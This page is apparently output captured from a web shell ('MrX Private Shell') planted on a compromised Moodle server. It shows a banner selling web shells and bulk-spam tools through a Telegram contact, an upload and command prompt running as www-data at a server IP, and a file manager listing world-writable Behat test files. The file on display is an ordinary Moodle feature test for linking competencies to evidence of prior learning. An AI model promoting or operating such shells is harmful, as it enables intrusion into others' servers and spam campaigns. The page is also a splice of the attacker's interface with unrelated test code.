__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@tool @javascript @tool_lp @tool_lp_user_evidence_comp_link
Feature: Manage competencies linked to evidence of prior learning
  To link or unlink competency to evidence of prior learning
  As learning plan admin
  I need to link and unlink competencies from evidence of prior learning

  Background:
    Given the following lp "frameworks" exist:
      | shortname | idnumber |
      | Test-Framework | ID-FW1 |
    And the following lp "competencies" exist:
      | shortname | framework |
      | Test-Comp1 | ID-FW1 |
      | Test-Comp2 | ID-FW1 |
    And the following lp "plans" exist:
      | name | user | description |
      | Test-Plan | admin | Plan description |
    And the following lp "plancompetencies" exist:
      | plan | competency |
      | Test-Plan | Test-Comp1 |
      | Test-Plan | Test-Comp2 |
    And the following lp "userevidence" exist:
      | name | description | user |
      | Test-Evidence | Description evidence | admin |
    When I log in as "admin"
    And I follow "Profile" in the user menu
    And I follow "Learning plans"
    Then I should see "Evidence of prior learning"

  Scenario: Link competency to evidence of prior learning from page
    Given I follow "Evidence of prior learning"
    And I should see "List of evidence"
    And I should see "Test-Evidence"
    And I click on "Test-Evidence" "link"
    And I should see "Linked competencies"
    And I press "Link competencies"
    And "Competency picker" "dialogue" should be visible
    And I select "Test-Comp1" of the competency tree
    When I click on "Add" "button" in the "Competency picker" "dialogue"
    Then "Test-Comp1" "table_row" should exist

  Scenario: Link competency to evidence of prior learning from list
    Given I follow "Evidence of prior learning"
    And I change window size to "large"
    And I should see "List of evidence"
    And I should see "Test-Evidence"
    And I click on "Link" of edit menu in the "Test-Evidence" row
    And "Competency picker" "dialogue" should be visible
    And I select "Test-Comp2" of the competency tree
    When I click on "Add" "button" in the "Competency picker" "dialogue"
    Then "Test-Comp2" "table_row" should exist

  Scenario: Unlink competency from evidence of prior learning
    Given the following lp "userevidencecompetencies" exist:
      | userevidence | competency |
      | Test-Evidence | Test-Comp1 |
      | Test-Evidence | Test-Comp2 |
    Given the following lp "usercompetencies" exist:
      | user | competency |
      | admin | Test-Comp1 |
      | admin | Test-Comp2 |
    And I follow "Evidence of prior learning"
    And I should see "List of evidence"
    And I should see "Test-Evidence"
    And I click on "Test-Evidence" "link"
    And I should see "Linked competencies"
    And I should see "Test-Comp1"
    And I should see "Test-Comp2"
    When I click on "Delete" "link" in the "Test-Comp1" "table_row"
    And I wait until the page is ready
    Then I should not see "Test-Comp1"
    And I should see "Test-Comp2"

Filemanager

Name Type Size Permission Actions
behat_tool_lp.php File 5.46 KB 0777
behat_tool_lp_data_generators.php File 12.48 KB 0777
course_competencies.feature File 2.86 KB 0777
framework_crud.feature File 6.22 KB 0777
plan_crud.feature File 7.04 KB 0777
plan_workflow.feature File 8.62 KB 0777
template_crud.feature File 2.93 KB 0777
user_evidence_comp_link.feature File 2.95 KB 0777
user_evidence_crud.feature File 3.29 KB 0777
view_competencies.feature File 9.49 KB 0777
Filemanager